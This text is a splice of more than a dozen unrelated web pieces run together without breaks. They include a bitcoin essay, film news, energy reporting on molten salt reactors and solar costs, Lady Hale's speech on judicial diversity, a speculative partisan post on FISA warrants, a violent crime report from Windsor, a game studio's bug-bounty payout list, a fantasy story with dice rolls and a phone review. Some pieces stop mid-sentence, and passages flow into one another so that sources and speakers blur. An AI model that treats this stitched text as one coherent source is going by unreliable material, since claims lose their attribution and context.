I won’t pretend to think that I know where this is all headed. I’m not a prophet, and I’m always skeptical of the pundits who make bold claims about the future.
All I know is that change is coming.
This is why I’ve chosen to engage deeply with bitcoin, and why I’ve started Coin Forest. I’m an optimist, and I want to contribute to building this generosity I’ve seen.
A slightly remixed version of Hieronymous Bosch’s vision
I’d love to think that the progression will be more like this reversal of Hieronymous Bosch’s “Garden of Earthly Delights”.
Frankly, it’s probably somewhere in the middle. But creating a better world requires the optimism to believe it’s possible.
The decision is whether you want to play a part in shaping the outcome or not.
-John Mardlin0
Possible Spoiler
While the X-Men franchise may be due for a cast changeover in the near future, director Bryan Singer is ensuring that the next installment, X-Men: Apocalypse, is stacked with fan favorites. Michael Fassbender, James McAvoy, Jennifer Lawrence, and Nicholas Hoult are due to reprise their roles from X-Men: First Class and X-Men: Days of Future Past, but Apocalypse marks the third and final film for which they’re under contract, so they have the ability to depart the franchise after this movie if they wish. Indeed, Lawrence recently revealed that Apocalypse will be her final X-Men movie, but the ensemble is also being filled out by younger versions of plenty of new mutants.
The latest addition is actress Lana Condor, who Singer revealed on Instagram will be playing the character Jubilation Lee—aka Jubilee. She joins previously announced new additions Tye Sheridan (Cyclops), Sophie Turner (Jean Grey), Alexandra Shipp (Storm), and Kodi Smit-McPhee (Nightcrawler), who are all playing young versions of characters that played a major role in Singer’s first two X-Men films. This signals that the filmmaker is gearing up to expand the “young X-Men universe” in the 1980s-set X-Men: Apocalypse, and it also ensures that if Fassbender, McAvoy, and Hoult also opt to depart, the franchise won’t be out of established characters.
Additionally (and unofficially), a new rumor purports to reveal a few cameos set for |
what has happened. Among the laws aimed at increasing the prison population and growing the profit margins of special interest corporations like CCA are three-strike laws (mandating sentences of 25 years to life for multiple felony convictions) and "truth-in-sentencing" legislation (mandating that those sentenced to prison serve most or all of their time).
As has been well-documented, young black men are disproportionately targeted by police for marijuana arrests. In New York City, for example, nearly 90 percent of the people arrested for marijuana possession are blacks and Latinos. The logic is simple: If states rely on minor drug arrests to fill privately run prisons, and young black men are targeted in minor drug arrests, then states rely on young black men to fill private prisons.
Or, as Yeezy put it: "See that's that private owned prison/Get your piece today."Critics are quick to refute these claims, citing cost, safety, waste management, and time-to-market as major barriers to the large-scale adoption of nuclear energy for baseload grid power. But are these truly insurmountable challenges? If nuclear is to play a significant role in a low-carbon energy future what will it take to make that happen?Some climate scientists and high-profile nonprofits are beginning to agree. Renewable energy is gaining ground, but it still makes up just over 13 percent of the total U.S. electric power mix. Concerns about resource intermittency, immature storage technologies, grid reliability, and land use haunt faster growth scenarios. As a result, achieving even the moderate carbon emissions reductions—pegged to a 30 percent reduction over 2005 levels by 2030—outlined by the EPA’s proposed Clean Power Plan [pdf] is expected to require both the development of new nuclear plants and extended lifespans for those that were built as far back as the 1970s.
The Promise: Innovation
These were the kinds of questions that Dewan and Massie asked themselves as well, and by summer 2010, they had decided that the “new and exciting” thing that would make nuclear a truly viable part of a low-carbon future wasn’t new at all. It was a molten salt reactor, developed and tested at the Oak Ridge National Laboratory (ORNL) in the 1950s and ’60s. Molten salt reactors (or MSRs, as they’re known in the acronym-heavy jargon of the nuclear industry) were just one of several proposed reactor designs emerging at the time. They were also one of the most promising.
In a 1964 progress report that laid the groundwork for ORNL’s Molten Salt Reactor Experiment (MSRE), program director R. Beecher Briggs extolled specific virtues of the system’s liquid-fuel design. Among them were low operating pressure, passive cooling design, continuous operation during refueling, and low fuel and operating costs, all of which translated into both lower capital costs and the need for less complex control and safety systems. Traditional light-water reactors can claim almost none of these benefits.
In short, molten salt reactors promised cheaper, safer nuclear energy.
Dewan and Massie spent several months examining the ORNL program’s research findings, studying the science, and concluded that although there were hard problems left to solve, the MSR branch of nuclear technology hadn’t been pruned because of insurmountable technical challenges. In 1973, when the program was defunded, it was (as ORNL put it) “in spite of the technical success of the MSRE.”
One of the main reasons funding for the project was stopped, according to Dewan and other supporters, is that the breeder reactor wasn’t a good source of plutonium, which was needed for use in a nuclear weapons program. Today, the lack of a weaponization potential is a selling point, not a showstopper. So, Dewan and Massie formed Transatomic Power in April 2011 and set out to solve some of the remaining challenges, tapping into about $1 million in angel investment to fund the work.
“[We] changed around some of the materials to make it a lot more compact, power dense, and cheaper,” Dewan says. Furthermore, they identified another big opportunity: the proposed design can be powered by the nuclear waste produced by traditional reactors. In traditional nuclear reactors, just 4-5 percent of the energy is extracted from the solid fuel rods used to power them. “That is why nuclear waste is so dangerous; it has a lot of energy left in it,” says Dewan.A variety of factors including declining component costs, increased competition, lower overheads and better system configurations is driving solar PV systems costs ever lower, particularly for utility-scale projects, according to the U.S. Department of Energy’s National Renewable Energy Laboratories (NREL).
NREL’s U.S. Solar Photovoltaic System Cost Benchmark Q1 2016 shows costs for a typical 5.6 kW-DC residential PV system at $2.93 per watt, and $2.13 per watt for a 200 kW commercial system. For utility-scale PV, the authors gave a figure of $1.42 per watt for a 100 MW fixed-tilt system, and $1.49 per watt for a 100 MW system with single-axis tracking.
This represents 6% and 4% annual cost reductions for residential and C&I PV systems, but a stunning 20% reduction in costs for fixed-tilt utility-scale systems. NREL notes that while falling component costs are a factor, “increased competition, lower installer and developer overheads, improved labor productivity, and optimized system configurations also contributed, particularly for EPC firms building commercial and utility-scale projects”.
NREL also found that while cost are slightly higher for PV systems with single-axis tracking, that levelized cost of electricity is lower for such systems across a range of states, due to higher output. This appears to be the conclusion of developers and construction contractors as well, as trackers are increasingly dominating the U.S. utility-scale market.
But while costs are falling fast for utility-scale solar, residential and commercial solar remain hamstrung by high non-hardware or “soft” costs. The report found that soft costs have grown to 58% of the cost of installation of residential PV systems under its model, and 49% of commercial systems.
For residential solar, the largest single category of soft costs is sales and marketing, particularly for third-party solar companies such as SolarCity, Sunrun and Vivint. These costs totaled $0.31 per watt for installers, but $0.43 per watt for third-part solar companies, giving these companies a $0.23 per watt premium over the typical installer.
Overhead, general and administrative costs were also high, and again higher for third-party solar companies. When $0.35 per watt of profit is factored in, these three categories represented more than a third of total system costs.
These three categories, particularly profit, were all smaller on a per-watt basis for commercial and utility-scale PV, meaning that even with similar module costs – modeled at $0.64 per watt by NREL – commercial and particularly utility-scale systems have had greater success at bringing down costs.
One final detail revealed by the report is fierce competition for the residential inverter space between SolarEdge and Enphase. NREL found that Enphase’s microinverters were used in only 24% of installed residential capacity in 2015, versus a nearly 1/3 share in the previous two years, while SolarEdge rose from a 15% to a 22% market share in 2015.
One factor may be price. Enphase’s microinverters are more expensive than SolarEdge’s inverter solutions with module-level power electronics. In a bid to regain market share Enphase has aggressively cut prices in recent quarters, which has wiped out its profit.The UK’s supreme court should be “ashamed” if it does not radically improve its diversity in the next round of judicial appointments, according to its only female judge, Lady Hale.
Over the past decade all justices selected to sit on the UK’s highest court have been male, white and predominantly privately educated, she told an audience at Birmingham University on Friday.
Don't rush gender equality in UK judiciary, says supreme court judge Read more
Hale’s forthright speech may be read as a deliberate rebuke to remarks from her fellow supreme court justice Lord Sumption, who claimed that any attempt to speed up the process of achieving gender equality in the senior judiciary could lead to “appalling consequences”.
His suggestion that it may take 50 years to achieve gender equality in the senior judiciary prompted a furore within the legal profession and allegations of sexism. Sumption stressed that he wanted to see proper gender balance within the judiciary but said many female lawyers were reluctant to climb the career ladder because of the long hours and poor working conditions.
Hale, 70, is the only woman on the 12-strong supreme court bench. She has been a strong advocate of improving diversity and has even questioned whether an element of positive discrimination may eventually be needed to redress gender imbalance.
“I was sworn in as a lord of appeal in ordinary [a law lord] on 12 January 2004,” she said in her speech on updating the appointments procedure for the supreme court.
Fifteen people have been sworn in as law lords or supreme court justices since then, she said. “Even if we leave out the two [men] who were sworn in the day after me, the court has more than replaced itself since then.
“One might have hoped that the opportunity would have been taken to achieve a more diverse collegium. It has not happened. All of those 13 appointments were men. All were white. All but two went to independent fee-paying schools. All but three went to boys’ boarding schools. All but two went to Oxford or Cambridge. All were successful QCs in private practice, although one was a solicitor rather than a barrister.” Most specialised in commercial, property or planning law.
Hale said she shared with them “the experience of being white and having been to Cambridge” but “in every other of those respects I am different”. She added: “I went to a state day school, my profession was university teacher and then law commissioner, my specialism was family and social welfare law. How is it that, despite their very different characters and outlooks, they remain such a homogenous group?”
Due to retirements, Hale said, “there will inevitably be six vacancies on the supreme court between September 2016 and December 2018. If we do not manage to achieve a much more diverse court in the process of filling them, we ought to be ashamed of ourselves.”
Judiciary is making progress on diversity, says lord chief justice Read more
Those responsible for nominating candidates, Hale pointed out, are all white and British. “I believe that anyone who is appointing the justices of the supreme court should be able to look at the body of justices as a whole and ask how they can collectively best serve the needs of the UK justice system,” she said.
“Excellence is important, though I am embarrassed to claim it. But so is diversity of expertise. And so is diversity of background and experience. It really bothers me that there are wome who know or ought to know that they are as good as the men around them, but who won’t apply for fear of being thought to be appointed just because they are a woman.
“We early women believed that we were as good as the men and would certainly not be put off in this way. I may well have been appointed because the powers that be realised the need for a woman.
We owe it to our sex, but also to the future of the law and the legal system, to step up to the plate Lady Hale
“I am completely unembarrassed about that, because they were right, and I hope that I have justified their confidence in me. I don’t think that all the talk about the best women being deterred is a plot to put them off, but I am sure that they should not be deterred by talk such as this. We owe it to our sex, but also to the future of the law and the legal system, to step up to the plate.”
Hale suggested that an unofficial search committee could be created, responsible for keeping an eye open for potential future candidates and providing appropriate experience and encouragement.
Greater use should be made by the Judicial Appointments Commission (JAC) of the “tipping point” or equal merits provision in appointing the senior judiciary outside the supreme court.
The regulation under the Equality Act 2010 allows selection panels considering two candidates of equal merit to choose the one from the less well represented background. Hale said the JAC should use the provision at the beginning of the selection process rather than leaving it to the final stage.There are obviously multiple investigative angles stemming from all the stories within investigations into the previous administration’s politicization of the FBI and DOJ. One of those angles is the system of applying for FISA warrants and surveillance of U.S. persons.
Against the backdrop of FISA court judge Rudolph Contreras mysterious recusal from the Mike Flynn case; and against increasing sunlight upon FBI investigative agent Peter Strzok, yesterday House Intelligence Chairman Devin Nunes, discussed his ongoing concerns about abuse within the FBI and DOJ process.
WASHINGTON DC – House Intelligence Committee Chairman Devin Nunes, R-Calif., told Fox News on Friday that his investigators have already uncovered evidence of “abuse” in the U.S. government’s surveillance practices. “I believe there’s evidence that abuses have occurred,” Nunes said in his first interview since the House Ethics Committee dismissed allegations he had wrongly released classified information as part of the panel’s Russia investigation.
“We have had an ongoing investigation into DOJ [Department of Justice] and FBI since mid-summer for both FISA [Foreign Intelligence Surveillance Court] abuse and other matters that we can’t get into too much. But it is very concerning.” Nunes pointed to the leaked conversation of former national security adviser, Gen. Mike Flynn with the Russian ambassador. The congressman said he is unaware of any leak investigation by the FBI or Justice Department. “I hate to use the word corrupt, but they become so dirty that, who is watching the watchmen? Who is investigating these people? There is no one.” Nunes said he will call Justice Department official Bruce Ohr, whose apparent demotion was first reported by Fox’s James Rosen, over his contacts with the firm behind the Trump dossier — to testify. The congressman said he believes the Obama Justice Department – from Attorney General Lynch, to her deputy, Sally Yates, FBI Director Comey as well as FBI agent Peter Strzok who was fired by the Mueller Russia probe over anti-Trump text messages — may have valuable information. “It’s hard to believe that all of them, there was a very small circle that we’re looking into the Trump dossier overall.” Nunes said. (read more w/ video)
June/July 2016 a FISA request is denied. This is simultaneous to FBI agent Strzok initial contact with Christopher Steele and the preliminary draft of the dossier.
October 2016 a FISA request approved. This is simultaneous to agent Strzok and Assoc. Deputy AG Bruce G Ohr in contact with Christopher Steele and the full dossier.
(L-R) Peter Strzok-FBI, Bruce G Ohr-DOJ, Judge Rudolph Contreras-FISA
It would be EXPLOSIVE if it turned out the FISA warrant was gained by deception, misleading/manipulated information, or fraud; and that warrant that led to the wiretapping and surveillance of General Flynn was authorized by FISA Court Judge Contreras – who would now be judge in Flynn’s case.
♦FBI Agent Peter Strzok’s former boss was Bill Priestap, FBI Asst. Director in charge of Counterintelligence. [The same Bill Priestap James Comey stated was the person who decided not to tell congressional oversight of the investigation] Bill Priestap’s boss was FBI Deputy Director Andrew McCabe. Directly above McCabe in the chain-of-command was FBI Director James Comey.
♦Inside the DOJ apparatus: Associate Deputy Attorney General Bruce G Ohr’s former boss was Deputy Attorney General Sally Yates. Sally Yates boss was Attorney General Loretta Lynch.
BIG UGLY
AdvertisementsA man covers his head with a wet towel to shield himself from the sunlight in Baoding, Hebei province in this July 28, 2013 file photo.[Photo/Xinhua]
China has experienced the highest temperatures in August since 1961, the country's weather authorities said on Thursday.
The country's average temperature stood at 22.3 degrees Celsius from the beginning of August, 1.3 degrees Celsius higher than the average level in previous years, said Chen Zhenlin, a spokesperson with China Meteorological Administration.
Most parts of China saw temperatures higher than or close to average levels, but parts in Guangdong, Xinjiang and Inner Mongolia reported temperatures 0.5 to 1 degree Celsius lower than average.
Areas from the Yellow River and Huaihe River to the northern parts of southern China, as well as Qinghai, posted remarkably high temperatures, about 2 to 4 degrees Celsius above normal.
The average temperature for eight provincial-level regions stood at 29.6 degrees Celsius, about 2.8 degrees Celsius higher than that of the same period in the previous years.
The eight regions include Shandong, Henan, Jiangsu, Anhui, Shanghai, Hunan, Jiangxi and Hubei.The list of new features the expected Xiaomi Mi 6 is rumoured to launch with keep getting bigger by the day. Indeed, the Mi 6 holds lots of expectations from Xiaomi fans since it is the company’s first flagship for the year and there seem to be surprises aplenty.
Just yesterday, we got a leaked image said to be the Mi 6’s SIM card tray which reveals a stunning detail about the Xiaomi flagship. The SIM tray showed us that the Mi 6 would likely be water resistant and in effect be without the 3.5mm audio jack. While we are yet to digest that, a new rumour has emerged on Weibo hinting at the presence of an iris recognition technology among other features on the Mi 6. To buttress this, a set of leaked photo of the Mi 6 display glass panel and tempered glass protective cover were shown, revealing openings for the iris scanner at the front.
Also, the Xiaomi flagship is said to use a ceramic body which is similar to what the Mi Mix and a version of the Mi 5 featured. Although Ceramic glass will give the Mi 6 a more premium, sleeker look, it is slow to produce, so fans may experience scarcity of the device. We hope it gets featured on perhaps the topmost model only while we get a metal clad variant which is likely the case since the flagship is also rumoured to come with a colourful body.
READ ALSO: Full Spec Sheet for Xiaomi Mi 6 and Mi 6 Plus Leaks
Since the Mi 6 would be waterproof, it means the charging port has to be taken care of, literally covered up and Xiaomi will likely do that by making the Mi 6 charge wirelessly. A wireless charging feature is another innovative feature the Mi 6 is rumoured to pack. We don’t know for sure if that means it won’t have a wired charging feature, anyway.
(source | via)Bridgette Obirek calls it the work of the devil.
The Windsor, Ont., woman was visiting a friend at an apartment building on University Avenue just before midnight on May 5 when a man she hadn't seen for years came down and invited her to come up and hang out for a while.
When the door to the apartment opened, what she saw stopped her in her tracks.
"I walked in... and here's this woman sitting on a chair facing her back toward me," she recalled. "I looked at her and the first thing I thought was 'Oh my gosh, there's blood all over the place' "
Obirek said she found herself in a nightmare. Several people were spread around the room, including a young woman who was sitting in front of the girl with a weapon — either an ice-pick or knife — pointed at her chest.
I had my bike helmet in one hand, my cellphone in the other and my mother's little Yorkie in a dog purse. I said 'hon just grab everything you can right now' and I stayed blocking her with my arms out. - Bridgette Obirek
The girl in the chair started to cry when she saw Obirek.
"Her face was mangled, two huge black eyes, her whole face was swollen, her lip was split open, she had marks everywhere," she explained, including a "huge" gash on the back of her neck.
"She had puncture marks all over her body," Obirek added. "I noticed a huge pile of her beautiful long hair on the floor in her blood."
Blood was 'just Tabasco' sauce, they said
The people in the room told her not to worry, the deep red stains were "just Tabasco sauce" and they were taking care of the girl who was "in trouble."
Obirek said she imagined the girl in the chair as her daughter and almost blacked out. Then she said she went into fight or flight mode.
"I had my bike helmet in one hand, my cellphone in the other and my mother's little Yorkie in a dog purse," she said. "I said 'Hon, just grab everything you can right now' and I stayed blocking her with my arms out."
One of the men in the room didn't want them to leave. "She's seen too much," Obirek recalled him saying. But when she pulled out her cellphone and pretended to call her boyfriend and boxer brother-in-law — lying that they were waiting outside — he backed off.
Obirek told the girl to run and followed after her as she slammed the elevator button to take them away from the room, where the 19-year-old had allegedly been held and tortured for four days.
One of the men chased after them, but Obirek said she fended him off by swinging her helmet.
All suspects have been arrested, police believe
Over the past week, Windsor police have take six people into custody: three men and three women, all in their 20s.
Christopher Lucier, 24, and Marcus Scott, 21, each face charges of aggravated assault, assault with a weapon, forcible confinement and uttering death threats.
Samantha Watson, Nicole May, and Jessica Millar, all 21, face the same charges, while Cody Carrington, 28, is charged with assault, assault with a weapon and breach of probation.
To me, it was something the devil would do. God put me there for a reason so I'm going to run my big mouth. - Bridgette Obirek
May and Watson also face charges for possession of a controlled substance.
"Charges of this nature with this many people involved is extremely rare," said Sgt. Steve Betteridge. He added that the investigation is still underway, but police believe they have arrested everyone involved.
"I think the police have done a fantastic job of getting to the bottom of this incident," he said. "Now we have to let the judicial process take its course."
'God put me there for a reason'
Obirek said she still can't figure out why that man invited her up to the apartment, knowing she would see what was happening there.
Since she started talking about what she witnessed in the apartment that night, Obirek said she's received threatening phone calls and keeps having nightmares.
Still, she said it's the brutality of the act that makes her brave enough to speak out, and she refuses to let the devil do his work in silence.
"To me, it was something the devil would do," she said. "God put me there for a reason so I'm going to run my big mouth."Exploit & Bug Bounty!
Date Name Exploit Amount Status 24/06/2015 LMarschall Dupe Exploit 200$ PAID 26/06/2015 Marco Crash Exploit 200$ PAID 25/07/2015 Thorami Validation Exploit 200$ PAID 25/08/2015 Thorami Validation Exploit 200$ PAID 09/09/2015 Dan K Duping Exploit 200$ PAID 15/09/2015 Thorami Validation Exploit 200$ PAID 21/09/2015 DKayBee Network Overload Exploit 200$ PAID 24/09/2015 Skittle PvP Timer Exploit 100$ PAID 24/09/2015 Rob PvP Timer Exploit 100$ PAID 5/10/2015 Karl No Clip Exploit 200$ PAID 14/10/2015 r2ghgaming Invunerability Exploit 200$ PAID 22/10/2015 Thorami No Clip Exploit 200$ PAID 25/10/2015 Creston Raft Exploit 200$ PAID 12/11/2015 Static Animation Cancelling Exploit 200$ PAID 15/12/2015 Rudy Tribe Glitch 500$ PAID 15/12/2015 Sam Tribe Glitch 500$ PAID 09/01/2016 Skittle Kangaroo Exploit 100$ PAID 09/01/2016 Rob Kangaroo Exploit 100$ PAID 03/04/2016 SubscribeCC Alternative Platform Crash 200$ PAID 20/04/2016 Skittle C4 Exploit 100$ PAID 20/04/2016 Rob C4 Exploit 100$ PAID 20/07/2016 Shockbuster Clipping Exploit 200$ PAID 27/08/2016 A. Crouch Grinder Exploit 200$ PAID 07/09/2016 Rocketman Infinite Rocket 200$ PAID 27/09/2016 Rekkm Ingot Exploit 200$ PAID 11/10/2016 Undisclosed Server Transfer Exploit 200$ PAID 16/10/2016 Undisclosed Server Transfer Exploit 200$ PAID 01/11/2016 Devilheaven Cooldown Exploit 200$ PAID 23/12/2016 Jacques Crash Exploit 200$ PAID 29/12/2016 Undisclosed Numerous Exploits 400$ PAID 29/12/2016 Venommantis Ghost Exploit 100$ PAID 29/12/2016 Substitute Connection Exploits 200$ PAID 29/12/2016 ThatGamerLive Connection Exploits 200$ PAID 29/12/2016 Undisclosed Invunerability Exploit 100$ PAID 29/12/2016 Substitute Name-hiding exploit 200$ PAID 09/03/2017 Peppers Spoil Timer & Dupe Information 200$ PAID 09/03/2017 Undisclosed Turret Tracking 100$ PAID 09/03/2017 Peppers Turret Tracking 100$ PAID 11/03/2017 Peppers Turret Tracking 100$ PAID 04/05/2017 Substitute Connection Exploit 100$ PAID 04/05/2017 ThatGamerLive Connection Exploit 100$ PAID 04/05/2017 ThatGamerLive Shooting Exploit 100$ PAID 04/05/2017 Peppers Shooting Exploit 100$ PAID 14/09/2017 Karl Green Quick Speed Exploit 100$ PAID 25/09/2017 Undisclosed Server Transport Exploit 500$ PAID 26/09/2017 Undisclosed Network Connection Diagnosis 200$ PAID 28/09/2017 Jacob T Transfer Connection Bug 200$ PAID 27/10/2017 Undisclosed Under the map exploit 200$ PAID 8/12/2017 Eternal Wrath Blueprint Vulnerability 2000$ PAID 8/12/2017 Master Chef Substitute and Master Chef Dougy Blueprint Vulnerability Analysis RECOGNITION DELIVERED 20/12/2017 Rlan BattlEye Exploit 250$ PAID 8/01/2018 Jacob K Zipline Exploit 100$ PAID 24/01/2018 Mithrim Rock Drake Exploit 50$ PAID 24/01/2018 Jordan Mesh & Fish Exploit 250$ PAID 03/02/2018 Verrückt Multiple Mesh Exploits 200$ PAID 03/02/2018 Ares Multiple Mesh Exploits 200$ PAID 04/02/2018 Undisclosed Blueprint Vulnerability 2000$ PAID 04/02/2018 Undisclosed Connection Repros 350$ PAID 06/02/2018 Substitute Server Validation Vulnerability 2000$ PAID 06/02/2018 ARMY Sniper1244 Gate Exploit 50$ PAID 10/02/2018 Undisclosed BattlEye Exploit 1000$ PAID 10/02/2018 Undisclosed Water Exploit 200$ PAID 10/02/2018 Ariiel Mesh Exploit 200$ PAID 13/02/2018 Undisclosed Crystal Exploit 100$ PAID
Hey Survivors,We are now offering bounties for anyone who can provide us with hacks of any kind (which are NOT aimbots/esp/speedhacks) that can have an impact on gameplay or server stability on our official, online servers. Feel free to reach out to the following emails with details:We will naturally evaluate EVERY submission that comes our way, and if we determine that the issue falls outside the scope of "hacks", but still qualifies as an extremely critical bug (such as wide-scale easy duping, or methods of crashing the server, etc.), we are happy to still pay out bounties. Please mention in your email subject you are contacting us regarding an exploit.We will not be responding to every incoming email, but we will check them all-- if we see something that is promising, or that we're not already aware of, we will reach out to those individuals who provide that information and correspond with them.We are only concerned about ONLINE, MULTIPLAYER issues that can be done on our OFFICIAL SERVERS.The bounties can range from between 50$ - 500$, it depends on whether we've escalated it or not ;). Our most frequent bounty awarded is 200$, though in extreme cases, we may put out a larger bounty. Prizes may arrive in the form of PayPal payments or Steam Giftcards. Here are a list of our current paid out bounties;Two:
Daniel understood that he was in hell.
He lay in a pool of blood. Smoke choked him and spreading fires lit what was in front of him. His relatives and friends had been ripped to pieces and the remains piled up like so many broken dolls. The realization that his parents had gone to the next world did not hurt him as much as the thought that his younger brother, John, was in the hands of Federation kidnappers.
Yes, his village had been visited by demons. Powerful, evil demons that moved faster than the eye could see and left a trail of destruction in their wake.
Daniel clawed the ground in despair.
Everything he knew had been taken from him.
Soon, it would be ashes and ruins.
He’d be ashes.
Burnt alive…
John…
Spoiler: Challenge Challenge: Resolve 500
1d100: 51. Fail!
He couldn’t do it. Daniel couldn’t will himself to get up. He’d die anyway, and he’d never see John’s smiling face again. The thuds in the background were growing louder, closer. They were coming. He unclenched his fingers and closed his eyes. Maybe he’d get to go quickly after all…
The smoke parted with a gust of wind, and an angel stood over him.
Flowing black hair, brilliant green eyes. Her lips set in a firm line. Silver plating glowed red in the fire-light. Daniel drew breath, only to splutter and cough.
The angel watched him nonchalantly. Their eyes met and her expression changed to interest. She bent down and gripped him by the arm to pull him up, first to his feet, then over her shoulders.
Daniel gritted his teeth when she leapt off. The village square rushed away as fresh air filled his lungs. The second leap slammed his head on the metal chestplate, and again the third time. Before he could raise an arm to protect himself, she was skidding to a halt.
The unyielding arm under his shoulder let go and he dropped to his knees in front of her. Tilled, soft earth yielded to his fingers. A cool breeze ruffled his hair. The village looked small from here. A thick column of smoke rose from it.
“Are you injured?” the angel demanded.
Daniel snapped back and gaped.
“ARE YOU INJURED?” she shouted again. It wasn't an angel...
A deeper voice started behind him. Daniel twisted around to look and winced from the pain.
“Be gentle, Sarah.”
It was an armoured soldier, wearing the full silver suit of the Empire’s army. A dark-skinned man with grey hair and a wide nose knelt next to him.
“What’s your name, boy?” the man asked. He spoke a soft baritone that rolled the r’s.
“D-Daniel.”
The man’s gaze wandered to the village. “My name’s Emile. Are you from there?”
Daniel followed his pointed finger and nodded.
“Are you hurt?” Daniel motioned a ‘no’. “Good, that’s great. You’re lucky, Daniel.”
Emile returned to look at Sarah, who was tapping her foot with her arms on her hips. She had saved him?
“Help him up.”
Sarah scowled but reached for him to comply. Daniel managed to get a good look at her face. He turned away sharply when she noticed. She was Latin, and young. No older than he was. Embarrassment coloured his cheeks. He must have looked pathetic.
Emile gripped Daniel’s shoulder firmly to stop him from wobbling.
“Can you stand, Daniel?”
Daniel felt under the weight of his armoured arm, but nodded. He spotted two men behind Emile, sitting quietly, then returned his gaze to the man in front of him.
He tried to speak, but his breath caught. Daniel cleared his throat from the soot. “Who are y-you?”
Emile smiled.
“Us?” he said. He pointed at the girl. “Sarah. She went in to save you.”
Daniel tried not to stare at her again.
“That’s Michael, that’s Miguel.” Emile pointed to the sitting men. “Gepard will arrive shortly. Old Alfred’s back at the station.”
“The station? You mean-” Daniel asked.
“Yes, we’re private. South Combat Services Company, or Si-Si for short.”
Daniel noticed a symbol on their armour: an eye crossed diagonally. Daniel opened his mouth to ask for more details, but was interrupted by a slap on his back.
“You’re coming with us!” Sarah snapped.
Daniel blanched.
“Sarah!” Emile said loudly, then softer. “What did I say about using your manners?”
The dark-skinned man squeezed Daniels’ shoulders. “I’m sorry, but she’s right.”
“What do you mean? W-what are you going to do?” Daniel asked nervously.
“No, no don’t worry. We just need you to answer a few questions from the Army officer, then you’re free to go. You understand?”
Daniel stared. Private military companies. They were paid by the Empire one gold coin per kill. The gears in his head started whirring. They needed proof. He was proof. He shifted his shoulders and Emile let go.
“I’ll talk if you help me.”
Daniel shivered as Emile fell silent. Four hired killers surrounded him, and he was standing in the way of their reward. An uncomfortable silence settled. Emile looked past Daniel at Sarah. Fear froze Daniel and he felt his legs go weak.
Emile’s expression melted into a smile.
“Of course! Anything for the hardworking citizen!” He chuckled. “I’d ask you what you want, but we’ve got to go now. Do you understand why?”
He didn’t wait for an answer.
Spoiler: Challenge Challenge: Resolve 50, Social 50
1d100: 76. Success!
1d100: 36. Fail!
“W-wait!” Daniel shouted. He awkwardly fumbled for his words while Emile stared at him, impassive. Daniel cleared his throat.
“Can we search for any… s-survivors?”
Emile winced. He half-turned to Michael and Miguel and made a gesture towards the horizon. The two stood and launched themselves away as Emile returned to Daniel.
“We’ve conducted a search, boy.”
Daniel heard a grunt behind him.
“You’re it.” Sarah commented.
No-one else? He didn’t understand. He saw them run away, didn’t he?
“W-what do you mean?!”
Sarah tutted and walked around in front of him. She muttered something like ‘Witnesses’ before grabbing him, lifting him up under the knees and shoulders and crouching down. He didn’t resist. Mechanically, he held on and tensed as she leapt into the air.
The station was a forward military outpost, owned by the Army but handled and occupied by private military handlers. It was a tent city, spread over an area larger than Breuin Village had. Large fires heated cooking pots fit to feed hundreds. It reminded him of the burning bodies he’d left behind.
As Sarah carried him closer with each bound, Daniel started making out details. The tents had signals and colours: red, white, wolf heads, concentric circles and one had a crossed-out eye painted on its side. He had to close his eyes near the ground, when Sarah accelerated, so all that he saw was from above.
When the South Combat Services Company, or Si-Si landed, Daniel was numb from the cold and dull to the pain of his scratches and bruises. He stumbled to his feet and stared blankly ahead.
Sarah looked him up and down as she dusted off, then gripped him by the arm and pushed him ahead. Daniel made one step in front of the other, his thoughts elsewhere.
How could they? he kept thinking. All these people… going on with their lives as if nothing happened. Streamlined suits of armour, men and women in thick and warm clothes showing off their wealthy, Army officers in silver-embroidered dress uniform bustling about, launching, chatting…
What did you expect? a rational side to him asked. Breuin was a small village at the edge of the Empire. Everyone knew they were being sacrificed for the greater good. The Church of the Holy Goddess promised them redemption in the afterlife, but he knew it was just a ploy to keep the devoted villagers quiet.
Now they’re all gone. His parents were frying on the stone floor of the village square: they’d never get a proper burial |
of those may be down to deliberate targeting (such as the Xperia Z3 Compact) but the larger-screened devices are generally more expensive.
On paper, Motorola's decision to stay with the Snapdragon 400 series processor (partnered with 1 GB of RAM) should limit the performance, but Motorola has an advantage. By going with stock Android as far as possible, Motorola has taken advantage of Google's extensive work on the user interface and the project to get everything 'buttery smooth'. Most budget handsets struggle with incredibly complicated games, and the Moto G is in the same boat here as everyone else. With the built-in applications and normal usage, the Moto G is smooth to use, and I've not missed having a Snapdragon 800 series in the handset.
Does the Moto G have the best processor? No. Does the Moto G do the best with what it has? Yes. Is that better than the competition? I would argue that it does, and running the handset next to other 400 (and 800) powered handsets and you can see a far smoother experience in the UI
Available in 8 GB and 16 GB models, the Moto G doesn't outpace storage in other models, but the inclusion of MicroSD support ensures that it maintains parity and offers expansion.
And then there is the battery life. The Snapdragon 400 series might not have as much power-saving code as the 800 series, but the ability to run at a slower clock speed means the energy in the battery will last for a longer period. Motorola (and Android as a whole, especially in version 4.4 used here) has a lot of experience running on the 400 series and that results in more efficient code to get the most out of the available power.
Even with a 2200 mAh battery, the Moto G's life on a single charge is impressive. It will easily last for two days and with moderate to light usage you should be able to squeeze four days out of the handset. That's phenomenal no matter where your handset is in the portfolio. High-end handsets might have more capability, but they still need power to run, even if most of the time you only run the basics. In those circumstances, the Moto G outlasts the competition, and nearly trounces the more expensive handsets.
The five-inch screen does mean the Moto G is going to be a large phone, but it's not as expansive as you might thing. Motorola has worked to reduce the size of the bezels and ensure as much of the frontal surface area is screen and not plastic. There's no changing the physical size, but I would note that the sculpted curves on the back plate of the Motorola sits wonderfully in the hand and the recessed dimple is well placed for my index finger to have more purchase when holding the Moto G.
At 149 g it still feels a light handset for a device of this size, mostly because of the plastic construction. It feels good in the hand, there are no awkward edges, and the package still works from a tactile point of view.
The 2014 edition of the Moto G is more than the best budget handset on the market. It's in the running for the best handset of the year. Yes there are handsets with more functionality (not least the Moto X), with faster data connections, more processor capability and higher resolution screens. There are handsets that fit in smaller pockets, are more fashionable, and have higher specifications. But none of them capture the balance required to produce a smartphone that just works as well as the Moto G manages.
In the UK and US, 4G may well be a deal-breaker for some, but that's not going to be a universal problem. The Moto G does everything that is asked of it, and then it does everything else that a smartphone needs to do well. Nothing in the sub-$200 handsets comes close to competing with the Moto G in real life situations, and the handset will happily stand up to handsets that are three times the cost and still come out mostly on top.
This is how you iterate on a best-selling handset. You make everything a bit better, and you pull substantively away from the competition. This is the handset to beat in today's smartphone market.Caitlin Davis: New England Patriots Cheerleader Fired (Photos)
